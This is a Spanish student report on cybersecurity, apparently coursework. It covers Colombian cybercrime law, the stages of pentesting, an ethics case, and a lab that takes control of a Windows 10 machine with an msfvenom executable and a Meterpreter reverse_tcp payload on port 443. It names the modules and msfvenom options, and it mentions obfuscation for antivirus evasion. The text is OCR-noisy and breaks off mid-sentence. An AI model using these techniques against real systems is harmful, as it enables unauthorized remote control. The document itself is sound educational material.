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GLOSARIO

AMENAZA: Es cualquier actividad o evento malicioso que tiene el potencial de causar dafio
a un sistema informatico o a la informacién que se almacena en este.

ATAQUE: Es el uso malicioso de una vulnerabilidad para causar dafio o robar informacién a
una persona u organizacion.

BACKUP: Es una copia de seguridad o duplicado de datos, archivos o informacion
importante que se crea para prevenir la pérdida de datos en caso de fallo, error o
eliminacion accidental.

BLUE TEAM: Equipo de profesionales en seguridad encargados de contrarrestar posibles
ataques informéticos.

CIBERDELINCUENTE: Es una persona que comete delitos utilizando la tecnologia y los
recursos informéticos, con el objetivo de obtener beneficios financieros, informacion
confidencial o simplemente causar dafio o interrupcion en sistemas o redes.

CIBERSEGURIDAD: Es el conjunto de practicas, tecnologias, herramientas y procesos
disefiados para proteger los sistemas informaticos, las redes, los dispositivos y la informacion
contra amenazas cibernéticas, incluyendo ataques maliciosos, explotaciéon de
vulnerabilidades y actividades fraudulentas.

EXPLOIT: Es un programa o0 codigo malicioso disefiado para aprovechar
vulnerabilidades en software, hardware o sistemas informaticos con el fin de obtener
acceso no autorizado o control sobre ellos.

PAYLOAD: Es la parte de un mensaje, paquete o codigo que transporta y entrega la
informacion o accién deseada. En el contexto de la informéatica y la seguridad informatica,
se utiliza para describir el componente de un ataque informatico que realiza la accion
maliciosa, como dafar un sistema o robar datos.

PENTESTING: También es conocido como prueba de penetracion, es una técnica de
evaluacion de seguridad que consiste en simular un ataque informatico a un sistema o red
para detectar vulnerabilidades y evaluar las medidas de seguridad existentes.

PURPLE TEAM: Es una practica de ciberseguridad en la que los equipos de "Red Team"
(ataque simulado) y "Blue Team" (defensa) colaboran estrechamente para mejorar la
seguridad de una organizacion.

RED TEAM: Equipo de profesionales en seguridad encargados de simular ataques
cibernéticos con el fin de evaluar y mejorar la seguridad.

VULNERABILIDAD: Es una debilidad o fallo en un sistema informético que puede ser
explotado por un atacante para violar la confidencialidad, integridad o disponibilidad de la
informacion.



RESUMEN

Este documento es un informe técnico donde se tiene como fin principal exponer de forma
clara un analisis detallado de los diferentes escenarios pre establecidos, utilizando
equipos estratégicos en seguridad informatica como lo es el Blue Team, Red Team,
Purple Team y los Equipos de Respuestas a Incidentes.

La legislaciéon y la normatividad de ciberseguridad se menciona en la ley 1273 de 2009 la
cual establece articulos para combatir los delitos informéticos, desde esta éarea
igualmente la ley 1581 de 2012 pretende la regulacion de la proteccion de los datos.

Se presenta el concepto de pentestig como la practica que permite simular ataques
informaticos contralados, con el firme propdsito de analizar la seguridad de los sistemas,
sus etapas se dan desde el reconocimiento hasta el informe de resultados.

La existencia de diversa herramientas como Nmap, Metasploit y CVE las cuales
contribuyen a la verificacion de la seguridad de los sistemas.

También se detalla el estudio de un caso sobre una vulnerabilidad en Windows 10, se
hace uso del payload de Reverce_tcp para ingresar al sistema y tomar control de este.

Se interpreta el papel de CIS en la seguridad siendo esta la que recopila y analiza datos
de seguridad. No se puede dejar de lado que se exploran las diferencias entre SIEM y
XDR siendo estas importantes en la detencién y respuesta de amenazas cibernéticas.

Existen herramientas de detencion de ataques informaticos con licencia GPL que ofrecen
opciones de seguridad y personalizacién a las organizaciones.

En resumen el trabajo aborda temas de suma importancia en el area de la ciberseguridad,
desde el fundamento legal hasta las herramientas y técnicas utilizadas para la garantizar
la seguridad de los sistemas y la detencion de posibles amenazas.



INTRODUCCION

En el panorama actual, donde la tecnologia se encuentra practicamente en la mayoria de
los aspectos de nuestra vida, el ambito de la seguridad informatica se vuelve mas
importante cada dia, el objetivo de este trabajo es dar a conocer varios temas
relacionados con la legislacion relativa a delitos informéticos y manejo de datos, las
etapas del pentesting asi como las herramientas que permiten realizar este proceso, los
equipos de seguridad de la informacion y herramientas que ayudan en la identificacion
de ataques informaticos.

La legislacion referente a delitos informaticos y manejo de datos se llevan a cabo en
Colombia mediante laley 1273 de 2009 y la ley 1581 de 2012, estas buscan la proteccién
de la informacion y la preservacion de la integridad digital.

Comprender las bases legales y regulaciones que rigen los delitos informéticos, la
privacidad de los datos y la responsabilidad en linea se torna esencial para orientar las
acciones de individuos y organizaciones en un mundo en constante cambio.

Por otro lado, el pentesting, o prueba de penetracion, surge como una estrategia vital
para garantizar la seguridad de los sistemas digitales. En un entorno donde las amenazas
cibernéticas estan en constante evolucion, el pentesting se presenta como un proceso
metodico que simula ataques informaticos controlados por medio de herramientas como
Nmap o Metasploit.

La capacidad de acceder y controlar sistemas de forma remota ha brindado innumerables
beneficios, pero también ha planteado desafios significativos en términos de proteccion
contra posibles amenazas. En este trabajo se combinara la herramienta msfvnom para la
creacion de un ejecutable para el control remoto de una maquina con el uso de Metasploit,
esta herramienta es muy utilizada en el pentesting, ofrece un conjunto de funcionalidades
para evaluar la robustez de sistemas informaticos.

La contencion de ataques informaticos es una tarea crucial en la defensa de la
infraestructura digital de cualquier entidad. Los atacantes estardn constantemente
tratando de encontrar nuevas formas de vulnerar sistemas y redes, es por lo que en este
trabajo se analizaran las diferencias y roles desempefiados por los equipos
especializados en ciberseguridad, incluyendo los equipos de Blue Team, Red Team,
Purple Team, asi como los equipos de respuestas a incidentes, destacando la
importancia de la colaboracién y la simulacion de ataques para mejorar la postura de
seguridad de una organizacion.

Por su parte el Center for Internet Security (CIS) es una entidad fundamental en la
promocién de buenas practicas de seguridad informética y en la creacion de estandares
reconocidos internacionalmente.

Se analizara la diferenciacion entre dos tecnologias claves en la ciberseguridad, el
Sistema de Informacion y Eventos de Seguridad (SIEM) y la Deteccién y Respuesta
Extendida (XDR).



Finalmente, se exploraran herramientas que ayudan en la deteccion de ataques
informaticos: Snort, Suricata y AIDE. Estas herramientas seran analizadas en términos
de sus funciones y caracteristicas.

En conjunto, este trabajo ofrece una vision integral de la ciberseguridad y su importancia
en la actualidad, explorando estrategias, equipos, estandares y herramientas que
contribuyen a la

proteccion de sistemas de informacion.



1. OBJETIVOS

1.1 OBJETIVOS GENERAL

Realizar un informe técnico teniendo en cuenta los aspectos relevantes de las actividades
anteriores del curso, planteando recomendaciones y conclusiones que enriguezcan y
complementen las estrategias de los equipos de Blue Team & Red Team.

1.2 OBJETIVOS ESPECIFICOS

Analizar la legislacion colombiana relacionada con los delitos informaticos.
Realizar un ejercicio de ataque informatico a una maquina Windows 10.

Reconocer la importancia del pentesting y de los equipos de ciberseguridad en las
organizaciones.

Plantear recomendaciones que ayuden a fortalecer la ciberseguridad en cualquier
organizacion.



2. ETAPA 1- CONCEPTOS EQUIPOS DE SEGURIDAD

2.1 ANALISIS DE LA LEGISLACION RELACIONADA CON DELITOS
INFORMATICOS

De acuerdo con la ley 1273 de 2009%, que habla acerca de la proteccién de los delitos
Informéticos, se puede mencionar que dicha ley consta de 8 articulos que hacen
referencia a los ataques que buscan afectar la confidencialidad, integridad y
disponibilidad de los datos como a los sistemas informaticos, También se encuentran 2
articulos que estan relacionados con atentados y otras infracciones.

A continuacion, se mencionan los articulos y un breve resumen de estos. Cabe precisar
gue incurrir en uno de estos delitos puede terminar en una pena de prisién de 48 a 96
meses y con una multa que va desde los 100 a 1000 salarios minimos vigentes. Esto da
a entender que el valor en pesos colombianos para este afio estaria entre 116 millones 'y
1.160 millones.

2.1.1 Articulo 269A. Este articulo estaria relacionado con quien accede a un sistema
de informacién protegido, sin la autorizacién pertinente.

2.1.2 Articulo 269B. Este articulo se podria relacionar a los ataques de denegacion de
servicios ya que menciona que quien impida u obstaculice el funcionamiento o acceso a
un sistema informatico o de una red de telecomunicacion estaria infringiendo este
articulo.

2.1.3 Articulo 269C. Este articulo estaria relacionado con los atagues de hombre en
el medio o de interceptaciones ilegales ya que menciona que quien intercepte datos de
un sistema informatico o de las emisiones electromagnéticas es decir Wi-Fi o Bluetooth,
podrd incurrir en una pena de prision de 36 a 72 meses.

2.1.4 Articulo 269D. Este articulo podria relacionarse con los ataques de ransomware
ya que menciona que quien dafie, borre o altere datos informéticos o alguna de sus
partes, estaria infringiendo este articulo.

2.1.5 Articulo 269E. Este articulo podria relacionarse con los virus informaticos y
troyanos ya que menciona que quien produzca, adquiera, envié software malicioso o de
efecto dafiinos, estaria infringiendo este articulo.

1 SECRETARIA SENADO. [Sitio web]. LEY ESTATUTARIA 1273 DE 2009. [Consulta: 10 agosto 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html
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2.1.6 Articulo 269F. Este articulo trata de que una persona no puede hacer uso de
datos personales de otra. Esto con el fin de obtener algun provecho, ya sea que esta
informacion sea proporcionada por un tercero se estaria infringiendo este articulo.

2.1.7 Articulo 269G. Este articulo trata de que no se puede disefar, desarrollar,
suplantar sitios web con el fin de capturar informacion sensible y personal, asi como
tampoco redirigir a sitios fraudulentos por medio de la resolucién de nombre de dominios
(DNS).

2.1.8 Articulo 269H. En este articulo se menciona que de llegar a materializarse
alguno de los articulos antes mencionados en la parte estatal, financiero o por un servidor
publico, se enfrenta a mas de la mitad de la pena mencionada anteriormente.

2.1.9 Articulo 269I. Este articulo trata del delito de hurto por medio de utilizar las
credenciales de un usuario real, quienes suelen utilizar ataques de fuerza bruta o
diccionarios de datos, estarian infringiendo este articulo.

2.1.10 Articulo 269J. Este articulo trata del delito de hurto financiero por medio de la
realizacion de transferencias por medio de manipulacién informatica, la infraccion de este
articulo tiene una pena superior a los demas articulos y es de 48 a 120 meses y una
multa de 200 a 1500 salarios minimos vigentes. Esto da a entender que el valor en pesos
colombianos para este afio estaria entre 232 millones y 1.740 millones.

2.1.11 Ley 1581 de 20122. En sus articulos hace referencia al tratamiento de los datos,
y los derechos que tienen los titulares de los datos y los compromisos que deben asumir
los responsables del tratamiento de estos. Hay datos que son considerados sensibles
dado a que afectan la intimidad del titular y pueden generar discriminacion; para su uso
se debe tener la autorizacion del titular.

Los datos correspondientes a los nifios, nifias y adolescentes estan prohibidos tratarlos,
solo los que sean de naturaleza publica.

La Superintendencia de Industria y Comercio serd la entidad que velara de que se
respeten los principios, derechos y procedimientos de la ley, dentro de sus funciones esta
realizar investigaciones que eviten que se vulnere el derecho de habeas data.

Con respecto a el monto de las multas que puede ser impuestas por infringir esta ley el
articulo 23 dice que puede ser hasta 2.000 salarios minimos vigentes. Esto da a entender
gue el valor en pesos colombianos estaria alrededor de 2.320 millones.

2 SECRETARIA SENADO. [Sitio web]. LEY ESTATUTARIA 1581 DE 2012. [Consulta: 10 agosto 2023].
Disponible en: http://www.secretariasenado.gov.co/senado/basedoc/ley 1581 2012.html
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2.2 ANALISIS SOBRE EL EJERCICIO DE PENTESTING

El pentesting es un proceso que permite evaluar la seguridad en los sistemas informéticos
o infraestructuras tecnoldgicas, con el fin de identificar vulnerabilidades y debilidades que
pueden ser explotadas por ciberdelincuentes o hackers.

El proceso de pentesting generalmente involucra varias etapas segun lo informa
bidaidea?, y las estaremos viendo a continuacion.

2.2.1 Etapa de reconocimiento (Footprinting). Esta etapa busca obtener la mayor
informacion posible del objetivo que se quiere atacar, como es la informacion de
versiones de las aplicaciones y de los sistemas operativos, hosts, informacion de las
personas que estan vinculadas con el objetivo, tecnologias, metadatos, etc.

Dicha etapa es una de las mas importantes dentro del pentesting ya que es la puerta de
entrada a las demas etapas y donde se puede identificar el nivel de seguridad del objetivo
y de que tan complejo puede llegar hacer la identificacion de una vulnerabilidad o vector
de ataque.

Se menciona que existen dos tipos de reconocimiento.
e Pasivo: El cual busca obtener informacion si interactuar directamente con el
objetivo y para ello se suele utilizar buscadores, sitios web, redes sociales, etc.
e Activo: Se utilizan técnicas y herramientas que inciden directamente sobre el
objetivo, en este caso se utilizan herramientas que se mencionaran a continuacion.

2.2.1.1 Herramientas Utilizadas en la etapa de reconocimiento. Las herramientas
open source que se suelen utilizar para la etapa de reconocimiento en el pentesting son.

e Nmap: Herramienta de escaneo de redes que permite identificar dispositivos en
una red, identificar puertos abiertos y servicios en ejecucion en esos dispositivos.
Esta herramienta se encuentra instalada en el sistema operativo Kali Linux.

e Recon-ng: Framework de recoleccion de informacion que automatiza la
recopilacion de datos de fuentes publicas y permite realizar busquedas de
informacion sobre objetivos especificos. Esta herramienta se encuentra instalada
en el sistema operativo Kali Linux.

e theHarvester: Herramienta para obtener informacién publica de diversas fuentes
como motores de busqueda, redes sociales, servidores de correo electronico,
entre otros.

e SpiderFoot: Framework de cddigo abierto para la recopilacion automatizada de
informacion. Puede extraer datos de fuentes publicas y privadas para construir un
perfil detallado del objetivo.

e Sublist3r: Herramienta para enumerar subdominios de un sitio web utilizando
multiples fuentes, lo que puede ayudar a descubrir puntos de entrada adicionales.

3 BIDAIDEA. [Sitio web]. ¢Cuél son la 5 Fases del Pentesting?. [Consulta: 11 agosto 2023]. Disponible en:
https://ciberseguridadbidaidea.com/fases-del-pentesting/
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e Metagoofil: Permite extraer metadatos de archivos publicos y documentos
asociados a un dominio, proporcionando informacién valiosa sobre la
infraestructura y las personas involucradas.

Las herramientas de pago que se suelen utilizar para la etapa de reconocimiento en el
pentesting son.

e Tenable Nessus: Ofrecen soluciones para escaneo Yy evaluacion de
vulnerabilidades en infraestructuras y aplicaciones, proporcionando andlisis
detallados y recomendaciones de mitigacion.

e Maltego: Herramienta de visualizacion de datos que permite recopilar informacion
sobre personas, organizaciones y relaciones entre ellas utlizando fuentes
abiertas. Cuenta con version gratuita, pero la version paga es mas completa.

e Shodan: Es un motor de busqueda especializado en dispositivos conectados a
Internet. Puede ser utilizado para encontrar sistemas expuestos que quizas no
deberian estar accesibles publicamente.

e Nexpose/Rapid7 InsightVM: Herramienta que realiza escaneo y evaluacién de
vulnerabilidades, la cual ofrece caracteristicas avanzadas para la deteccion de
vulnerabilidades y la gestion de riesgos en la infraestructura de TI.

2.2.2 Etapa de escaneo y enumeracion (Fingerprinting). En esta etapa se utilizan
herramientas y técnicas para obtener informacion mas detallada de las posibles
vulnerabilidades identificadas en la etapa anterior como seria los fallos en algun software,
sistema operativo 0 un puerto que se encuentra abierto.

Dentro de las técnicas que se suelen utilizar en esta etapa esta el phishing, sniffing o el
scanning, que permiten obtener datos enviados a través de la red, recapitular informacion
de acceso mediante ingenieria social o la herramienta Wireshark, con el objetivo de
descubrir las vulnerabilidades del sistema.

2.2.3 Etapa de explotacion. En esta etapa se lleva a cabo la explotacién de las
vulnerabilidades identificadas en las etapas anteriores con el objetivo de poder ingresar
a un sistema y tomar el control de este y asi obtener informacion, ejecutar scripts, etc.

Alguna de las herramientas que se suelen utilizar en esta etapa.

e Metasploit: Es una Herramientas muy conocidas en la explotacion de
vulnerabilidades, permite desarrollar, probar y ejecutar exploits contra sistemas
con vulnerabilidades conocidas.

e SQLMap: Herramienta que se suele utilizar especificamente para ataques de
inyeccién SQL, SQLMap automatiza la deteccién y explotacién de vulnerabilidades
de inyeccion en bases de datos.

e Exploit-DB: Es una base de datos que contiene una coleccién de exploits publicos
y sus codigos fuente, los cuales pueden ser utilizados para explotar
vulnerabilidades conocidas en los sistemas.
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2.2.4 Etapa de mantener el acceso. En esta etapa se busca mantener en el sistema
sin ser detectado, también se busca escalar privilegios para instalar o ejecutar las
herramientas que ayudaran a facilitar el ingreso en el sistema en un futuro.

En esta etapa se suele emplear backdoors, troyanos u otro tipo de malware con el fin de
mantenerse en el sistema.

2.2.5 Etapade cubrir el ataque. En esta ultima etapa se buscara borrar todo el rastro
gue se haya dejado durante todo el proceso, con el fin de evitar ser detectados frente a
posibles andlisis forenses. Es por esto por lo que se buscara eliminar o modificar logs, se
ocultaran ficheros o directorios etc.
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2.3 EXPLICACION DE LA HERRAMIENTA METASPLOIT, EXPLOIT-DB Y CVE

Las herramientas de ciberseguridad son de gran importancia para la verificacion de los
sistemas de informacidn, en la actualidad existen varias opciones que se pueden utilizar,
en el desarrollo de esta etapa estaré abordando las herramientas de Metasploit y Exploit-
DB, asi como el tema de CVE.

2.3.1 Qué es metasploit. Segun el sitio web KEEPCODING dice que “Metasploit
Framework es un software de cddigo abierto, que inicialmente fue escrito en el lenguaje
de programacion Perl y, luego, fue transcrito al lenguaje Ruby para modernizar y agilizar
su funcionamiento™. Esta herramienta viene incluida en el sistema operativo Kali Linux,
muy utilizado en el pentesting, Metasploit cuenta con mas de 900 exploits, en su versién
Pro cuanta con mas exploits adicionales.

Metasploit cuenta también con otros modulos aparte del de explotacién como es el caso
de payloads, que es utilizado para inyectar codigos maliciosos, también estan los
codificadores, que permiten encriptar malwares con el objetivo de evadir sistemas de
deteccion, entre algunos otros.

2.3.2 Caracteristicas de metasploit. Metasploit es una herramienta multiplataforma,
gratuita y muy versatil ya que también permite interactuar e integrarse con otras
herramientas como es el caso de Nmap o Nessus. Sus principales funciones son:

e Escanear y recopilar informacion de una maquina.

¢ |dentificar y explorar vulnerabilidades de seguridad.

e Escalar privilegios en una maquina.
Instalar puertas traseras en las maquinas.
Evasién de antivirus y ofuscacion de cédigo.
e Eliminar huella digital en una maquina.

Como podemos observar con esta herramienta podemos realizar gran parte de las etapas
de pentesting.

2.3.3 Exploit-DB. Es una de las bases datos de exploits gratuitos mas reconocida, a
medida que avanza el tiempo esta va recolectando exploit de fuentes publicas y privadas,
es un proyecto sin animo de lucro ejecutado por la empresa Offensive Security.
Presentado en una interfaz de facil uso permitiendo la busqueda rapida en las bases de
datos y visualizando detalles técnicos y codigos fuente para ser ejecutados.

Su funcion principal es proporcionar a la comunidad de seguridad informatica,
informacion sobre como aprovechar vulnerabilidades conocidas con fines educativos,
investigativos y de pruebas de seguridad.

4 KEEPCODING. |[Sitio web]. ¢Qué es Metasploit?. [Consulta: 11 agosto 2023]. Disponible en:
https://keepcoding.io/blog/que-es-metasploit-cibersequridad/
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Cabe recordar que la utilizacion de exploits de manera maliciosa o en sistemas sin la
debida autorizacion es ilegal y podria tener graves consecuencias legales.

2.3.4 CVE. Corresponde a las siglas de Common Vulnerabilities and Exposures que en
espafiol su traduccion seria Vulnerabilidades y Exposiciones Comunes, de acuerdo con
el sitio web ciberseguridad CVE “es una lista de vulnerabilidades y exposiciones de
seguridad de la informacién divulgadas publicamente™.

Fue creado en el afio de 1999 por la corporacion MITRE, con el objetivo de categorizar
las vulnerabilidades en software y hardware que eran encontradas y manejar una
estandarizacion de estas.

Cada vulnerabilidad encontrada es identifica mediante un identificador CVE, con la
siguiente nomenclatura CVE-AAAA-NNNN, donde "AAAA" es el afio en que se asigno el
identificador y "NNNN" es un numero secuencial. Es por esto que podemos encontrar
identificadores como es el famoso eternalBlue CVE-2017-0144.

Ademas del identificador CVE, se proporciona informacion adicional, como una
descripcion detallada de la vulnerabilidad, su gravedad, las soluciones o medidas para
mitigarla y, en algunos casos, referencias a parches o actualizaciones proporcionadas
por los proveedores de software para resolver la vulnerabilidad.

5 CIBERSEGURIDAD. [Sitio web]. ¢ QUE ES CVE? EXPLICACION DE LAS VULNERABILIDADES Y EXPOSICIONES
COMUNES. [Consulta: 11 agosto 2023]. Disponible en: https://ciberseguridad.com/herramientas/marco-mitre-att-
ck/cve-vulnerabilidades-exposiciones-comunes/
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3. ETAPA 2- ACTUACION ETICA Y LEGAL

3.1 ¢PARRAFOS ILEGALES DENTRO DEL ACUERDO DE CONFIDENCIALIDAD Y
NO ETICOS?

Dentro del acuerdo de confidencialidad se tornan ilegales los siguientes parrafos:

La clausula segunda en su punto 2, donde se habla de chuzadas e interceptaciones
ilegales, acceso abusivo a sistemas de informacion, esto son acciones que no puede
realizar ninguna empresa en Colombia ya que se estaria incurriendo en un delito que se
encuentra en la ley 1273 de 20098 en su articulos 269A que habla del delito de acceso
abusivo a un sistema de informacion y el articulo 269C que esta relacionado con la
interceptacion de datos informaticos.

La clausula tercera en el punto 3 habla de no denunciar actividades sospechosas de
espionaje, esto es algo que se debe informar al superior y dependiendo de la gravedad
se debe recurrir a denunciarlo con la autoridad pertinente. Este acto estaria violando la
ley 1273 de 2009 en su articulo 269F, este habla de la violacion de datos peronales y
menciona que es ilegal interceptar u obtener informacion para provecho propio o de un
tercero.

También en el codigo de etica’ encontramos que en la ley 842 de 2003 en el articulo 31
apartado f) habla de que se debe denunciar los delitos de los cuales uno como profesional
tenga conocimiento, esto también es abordado en el articulo 35 apartado b) de la misma

ley.

Se puede mencionar que también hay actos poco éticos dentro del acuerdo de
confidencialidad como es la clausula primera donde se menciona que no se debe divulgar
informacion a autoridades legales, de acuerdo con el codigo de etica de los ingenieros
antes referenciado, en su articulo 31 apartado e), indica que se debe colaborar en las
investigaciones con la autoridad policial si esta lo ve conveniente.

Si fuera una entidad publica la que estuviera realizando la contratacion, la clausula
primera estaria dentro de loilegal, ya que laley 1712 de 20148 en su articulo 3, el principio
de la calidad de la informacién menciona que se le debe brindar cierta informacion a las
autoridades si estas lo requieren.

6 SECRETARIA SENADO. [Sitio web]. LEY ESTATUTARIA 1273 DE 2009. [Consulta: 10 agosto 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1273 2009.html

7 COPNIA. [Sitio web]. Cédigo de ética. [Consulta: 19 agosto 2023]. Disponible en: https://www.copnia.gov.co/tribunal-
de-etica/codigo-de-etica

8 SECRETARIA SENADO. [Sitio web]. LEY 1712 DE 2014. [Consulta: 18 agosto 2023]. Disponible en:
http://www.secretariasenado.gov.co/senado/basedoc/ley 1712 2014.html
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3.2 LEYES QUEBRANTADAS EN LOS PROCESOS ILEGALES EN
HACKERHOUSE

Las leyes colombianas que estarian relacionadas con los procesos ilegales en los
acuerdos de confidencialidad de la empresa HackerHouse son:

La ley 1273 de 2009, es conocida como la "Ley de Delitos Informéticos", dicha ley pone
en consideracion ciertos actos que no se deben llevar a cabo, ya que causan dafios a
sistemas informaticos o afectan a una persona o empresa. Esta ley tiene como objetivo
principal establecer medidas para prevenir, sancionar y combatir actividades ilicitas que
se realizan a través de medios electrénicos y sistemas informaticos.

Cabe resaltar que la infraccion de esta ley afronta una pena de prision que estaria entre
4y 8 afios, mas una multa que va desde los 100 a 1000 salarios minimos vigentes.

La ley 842 de 2003, es una ley que menciona los deberes y prohibiciones de los
ingenieros del pais, dicha ley establece los principios y normas éticas que deben regir la
practica de la ingenieria y disciplinas afines, asi como también busca proteger el interés
publico y garantizar la calidad y seguridad en los servicios relacionados con la ingenieria.

La infraccion de la ley 842, segun su articulo 53 que corresponde a las faltas gravisimas,
es causal para la suspension o cancelacion de la matricula profesional de ingeniero.

Como fue mencionado en el punto anterior también es importante tener en cuenta la ley
1712 de 2014, que es conocida como la "Ley de Transparencia y del Derecho de Acceso
a la Informacion Publica", dicha ley tiene como objetivo principal regular el acceso a la
informacion publica en el pais y promover la transparencia en la administracion publica
es por esto por lo que también considero que se debe mencionar en el presente trabajo.
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3.3 ¢(ACEPTARIA EL CONTRATO CON LA EMPRESA HACKERHOUSE?

Realmente no aceptaria firmar un contrato con la empresa HackerHouse, ya que en su
acuerdo de confidencialidad la responsabilidad frente a una intervencion juridica y penal
frente a los delitos que alli se cometen, caerian sobre el receptor, ya que en varios de los
puntos del acuerdo se da a entender de esto, como ejemplo se puede mencionar la
clausula cuarta en su punto 4, donde también se debe asumir la responsabilidad, por las
personas que sea el representante en la compainiia.

Otra razon por lo cual no aceptaria trabajar para la empresa HackerHouse es que, por lo

leido en el acuerdo de confidencialidad, es que se estaria o se pretende realizar actos
ilegales en la compafiia, donde se infringirian las leyes 842 de 203y 1273 de 2009.
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3.4 NOTICIA DE CIBERCRIMEN EN COLOMBIA

A principios de febrero del presente afio la central de emergencias 123 de la ciudad de
Medellin sufrié un ataque cibernético que impedia que los casos que eran reportados por
los ciudadanos en la linea telefénica no pudieran ser gestionados por el sistema que
utilizan en dicha central.

Lo que llevo a que se implementaran de forma manual la gestién de los reportes que
estaban siendo atendidos, cuando con el sistema en su correcto funcionamiento se puede
verificar en algunos casos lo reportado y asi asignarlo al ente correspondiente, ya sea
Transito, Bomberos, Policia, CTI, ETC.

Pese a que el ataque no tomo el control de todo el sistema, si afecto el funcionamiento
de ciertos elementos, como fue que no permitia que se realizara zoom a las camaras de
seguridad ni que se pudieran girar estas.

La fuente de la noticia fue diario ElI Colombiano® que emitié la noticia el dia 3 de febrero
de 2023.

De acuerdo con lo estudiado en la ley 1273 de 2009, se estarian infringiendo varios de
sus articulos por lo redactado en su publicacion, estos serian:

Articulo 269A: Dado a que se tuvo que haber accedido al sistema para poder realizar
ciertas acciones que fueron descritas en la publicacion.

Articulo 269B: Ya que se impidio el correcto funcionamiento del Sistema Integrado de
Emergencias, y el mismo tuvo obstaculo para poder funcionar como suele hacerlo.

Articulo 269D: Por haber impedido el correcto funcionamiento de las camaras de la
ciudad que son gestionadas por el sistema que sufri6 el ataque cibernético, se debe
recordar que pese a que no hubo un dafio fisico si altero su funcionamiento y esto es algo
gue es mencionado en este articulo.

Articulo 269E: Este articulo lo agrego ya que en la publicacién no se habla con certeza
de que se pudo haber utilizado un virus informatico, sino como algo que posiblemente fue
lo que utilizaron en el ataque, pero si fue asi, también se estaria infringiendo este articulo.

Con la infraccion de estos cuatros articulos el ciberdelincuente podria recibir una pena
gue podria estar entre los 12 y 32 afios de prision, ya que por lo expuesto por el tutor en
la web conference la infraccion de esta ley es acumulativa y no es excarcelable.

9 EL COLOMBIANO. [Sitio web]. Hackeo al 123 llevé a que las emergencias de Medellin se tuvieran que registrar con
papel y lapiz. [Consulta: 18 agosto 2023]. Disponible en: https://www.elcolombiano.com/antioquia/con-papel-y-lapiz-se-

registraron-emergencias-por-hackeo-al-123-DH20272122
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4. ETAPA 3 - EJECUCION PRUEBAS DE INTRUSION

4.1 HERRAMIENTAS DE SOFTWARE QUE SE USARON EN EL LABORATORIO.

En el desarrollo de esta practica se utilizaran las herramientas de MSFVNOM vy
METASPLOIT, para efectuar el ataque a un sistema operativo Windows 10 con
arquitectura de 64 bits, ambas herramientas se encuentran por defecto en el sistema
operativo Kali Linux, el cual fue la maquina que tuvo el papel de atacante en el desarrollo
del laboratorio.

4.1.1 Herramienta MSFVNOM. Es la combinacién de dos herramientas que se utilizaba
en la herramienta de Metasploit, las cuales eran msfpayload y msfcode segun el sitio web
Redes Zonel?, la primera permitia generar ejecutables es decir cargas Utiles (payload)
para controlar remotamente otra maquina, mientras que la segunda se encargaba de que
el cédigo malicioso no fuera detectado por los sistemas de seguridad de la maquina
donde se encontraba el payload.

Con la herramienta msfvnom se crean los ejecutables y brinda la opcion de usar
ofuscacion en estos, con el objetivo de no ser detectados por los antivirus de las
maquinas obijetivos.

A continuacién, se mencionan alguna de sus opciones en el cuadro siguiente.

Cuadro 1. Principales comandos de msfvnom.

Comando Corto Comando Descripcion
Largo
-p --payload Carga util que se usara
| st Muestra la lista de los modulos que se pueden
utilizar
-f --format Formato del ejecutable final
-e --encoder Codificador que se utilizara
-a --arch Arquitectura que se seleccionara
-S --space Tamafio maximo de la carga util
r _iteration Numero de iteraciones que se utilizara para
codificar la carga util
Especifica un archivo ejecutable personalizado
-X --template :
para usarlo como plantilla
Se define la ruta donde se guardara el
-0 --out :
ejecutable

10 REDES ZONE. [Sitio web]. Metasploit: msfpayload y msfencode desaparecen para dejar paso a
msfvenom. [Consulta: 26 agosto 2023]. Disponible en: https://www.redeszone.net/2014/12/10/metasploit-
msfpayload-y-msfencode-desaparecen-para-dejar-paso-msfvenom/
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-h --help Muestra la ayuda para utilizar la herramienta

--platform Plataforma donde se ejecutara la carga util

Fuente: Elaboracion propia.

4.1.2 Herramienta Metasploit. Es una herramienta muy utilizada en el pentesting, dado
a su versatilidad para las pruebas y payloads que proporciona, en el desarrollo de la tarea
1 del curso, indique sus caracteristicas las cuales son:

Escanear y recopilar informacion de una maquina.
Identificar y explorar vulnerabilidades de seguridad.
Escalar privilegios en una maquina.

Instalar puertas traseras en las maquinas.

Evasién de antivirus y ofuscacion de cédigo.
Eliminar huella digital en una maquina.

El exploit que se utliz6 para vulnerar el sistema de Windows 10 fue el
exploit/multi/handler, el cual permite recibir conexiones reversas después de que se
haya explotado con éxito la vulnerabilidad y ser controlado de forma remota.

La carga util utilizada en el laboratorio fue la de windows/x64/meterpreter/reverse_tcp
gue se encuentra en la herramienta de Metasploit.
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4.2 DESCRIBA LOS DATOS E INFORMACION QUE AYUDARON A IDENTIFICAR
EL FALLO DE SEGURIDAD.

El fallo de seguridad se pudo identificar por la informacién proporcionada por el usuario
de la maquina afecta, ya que este indico que descargo y ejecuto un software que recibid
por medio de una pagina web.

Cuando lo correcto en estos casos es analizar el archivo descargado con un antivirus y
no instalar el software sin estar autorizado por el area encargada de la empresa.

Otro fallo de seguridad es la desactivacion de los sistemas de seguridad de la maquina,
es decir el firewall y antivirus de Windows Defender, este es un fallo de seguridad critico
ya que la maquina no cuenta con ninguna seguridad que contrarreste posibles ataques
de virus o0 escaneo de los servicios y puertos de la maquina.

También el hecho de ser consiente de haber perdido un archivo que tal vez era de uso

frecuente, encendid la alarma de que pudo haber ocurrido una intrusion no deseada en
la maquina.
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4.3 ¢(QUE PUERTO ABRE LA APLICACION ESPECIFICA EN EL ANEXO?

El puerto que se utiliza en el desarrollo del laboratorio es el puerto 443 que corresponde
al protocolo HTTPS, utilizado por los servidores web para la transferencia de datos en la
web de forma segura.

El uso del puerto 443 en HTTPS es fundamental para garantizar que los datos
transmitidos entre el navegador del usuario y el servidor web estén encriptados y
protegidos contra posibles ataques de escuchas no autorizadas.

En el contexto de Metasploit y la seguridad informatica en general, el puerto 443 también
puede tener relevancia porque como se vio en el desarrollo de este laboratorio en algunas
circunstancias, los atacantes pueden aprovechar este puerto para disfrazar su trafico
malicioso como trafico HTTPS legitimo.
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4.4 ;COMO AFECTA EL ATAQUE A LA MAQUINA (WINDOWS 10 X64)?

El ataque efectuado sobre la maquina Windows 10, afecta de tal manera de que el
atacante puede escalar privilegios y realizar acciones sobre la misma y también puede
comprometer la informacion y la seguridad informatica de toda una compaiiia.

Se puede instalar software que permita ingresar cuando se desee en la maquina, es decir
